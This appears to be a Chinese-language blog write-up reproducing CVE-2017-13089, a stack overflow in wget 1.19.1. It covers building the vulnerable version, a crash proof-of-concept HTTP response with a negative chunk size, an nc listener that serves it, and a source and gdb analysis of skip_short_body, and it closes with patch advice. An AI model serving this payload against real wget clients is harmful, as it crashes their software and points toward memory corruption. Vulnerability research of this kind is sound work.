CVE-2017-13089 wget栈溢出漏洞复现

CVE-2017-13089复现

编译

首先按照wget

# 安装一些必要的编译依赖
sudo apt-get install -y libneon27-gnutls-dev build-essential
# 下载源码
wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
tar -zxvf wget-1.19.1.tar.gz
cd wget-1.19.1
# 编译, 我本地的编译环境Ubuntu 22.04.1 LTS,成功编译
mkdir build/ & ./configure --prefix=$PWD/build/
make -j8
make install
# 如果编译失败,可以加上sudo
cd build/bin
./wget -V
# 可以看到编译成功了

漏洞复现

建立poc文件

vim poc
HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

-0xFFFFF000
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0

nc监听

使用nc开启http服务器并在接收到请求的时候自动返回poc

nc -lp 12667 < exp

wget触发漏洞

另外开启一个终端触发漏洞

./wget 127.0.0.1:12667

当nc自动断开连接的时候wget就成功的crash掉了,这时候漏洞复现就成功了。

调试分析

首先静态分析

skip_short_body

我们打断点打到skip_short_body, 因为我们可以看源码,栈溢出漏洞所在点就是在这个函数里面。

skip_short_body (int fd, wgint contlen, bool chunked)
{
  enum {
    SKIP_SIZE = 512,                /* size of the download buffer */
    SKIP_THRESHOLD = 4096        /* the largest size we read */
  };
  wgint remaining_chunk_size = 0;
  char dlbuf[SKIP_SIZE + 1];
  dlbuf[SKIP_SIZE] = '\0';        /* so DEBUGP can safely print it */

  /* If the body is too large, it makes more sense to simply close the
     connection than to try to read the body.  */
  if (contlen > SKIP_THRESHOLD)
    return false;

  while (contlen > 0 || chunked)
    {
      int ret;
      if (chunked)
        {
          if (remaining_chunk_size == 0)
            {
              char *line = fd_read_line (fd);
              char *endl;
              if (line == NULL)
                break;

              remaining_chunk_size = strtol (line, &endl, 16);
              xfree (line);

              if (remaining_chunk_size == 0)
                {
                  line = fd_read_line (fd);
                  xfree (line);
                  break;
                }
            }

          contlen = MIN (remaining_chunk_size, SKIP_SIZE);
        }

      DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen)));

      ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1);
      if (ret <= 0)
        {
          /* Don't normally report the error since this is an
             optimization that should be invisible to the user.  */
          DEBUGP (("] aborting (%s).\n",
                   ret < 0 ? fd_errstr (fd) : "EOF received"));
          return false;
        }
      contlen -= ret;

      if (chunked)
        {
          remaining_chunk_size -= ret;
          if (remaining_chunk_size == 0)
            {
              char *line = fd_read_line (fd);
              if (line == NULL)
                return false;
              else
                xfree (line);
            }
        }

      /* Safe even if %.*s bogusly expects terminating \0 because
         we've zero-terminated dlbuf above.  */
      DEBUGP (("%.*s", ret, dlbuf));
    }

  DEBUGP (("] done.\n"));
  return true;
}

一步步控制条件触发栈溢出

然后根据条件判断,401状态码后进入fd_read函数,fd_read 函数封装了 sock_read 函数,sock_read 函数调用了 read 函数,在这里触发了栈溢出:

static int
sock_read (int fd, char *buf, int bufsize)
{
  int res;
  do
    res = read (fd, buf, bufsize);
  while (res == -1 && errno == EINTR);
  return res;
}

动态调试

pwngdb

这里使用pwngdb来调试程序,安装过程自行百度

gdb ./wget
set args 127.0.0.1:12667
b skip_short_body

单步步进到fd_read_line后看RAX寄存器的值是*RAX 0x555555611a30 ◂— '-0xFFFFF000\n',这是返回值 line 的值

往下,接着会调用 strtol 函数,第一个为 line 的值,第二个参数为栈上的变量,第三个参数为长度:

执行完 strtol 函数之后,会将返回值赋值给 remaining_chunk_size 变量,此时这个变量的值为 0xffffffff00001000, 也就是-4294963200

后续通过987行代码的

contlen = MIN (remaining_chunk_size, SKIP_SIZE);

得到的 contlen 变量的值为 0x1000。

SKIP_SIZE 的定义:

  • 这里将一个负数与整数相比较,返回的值就是 0x1000。

    接着调用到 fd_read 函数,这个函数的第三个参数就是 contlen 的值,大小为 0x1000。

跟进函数,fd_read 里面封装了 sock_read 函数:

跟进之后发现,这个函数里调用了 read 函数,将 sock 通道里的内容(也就是 AAAA…)复制到栈空间上:

因为这个值太大,导致了栈溢出。填充后不会使得当前 fd_read 函数崩溃,而会溢出到了 skip_short_body 这个函数的栈空间,覆盖了栈的返回地址,导致程序崩溃:

复现结束

至此,漏洞算是复现结束。

修复建议是升级程序,更新的补丁将 strtol 函数的返回值 remaining_chunk_size 变量的值进行是否为负数的判断,如果是负数的话就之后 return False 从而防止整数的溢出。

参考

https://xz.aliyun.com/t/7394

本地环境

Windows 11 + WSL2(Ubuntu22.04)+ VS Code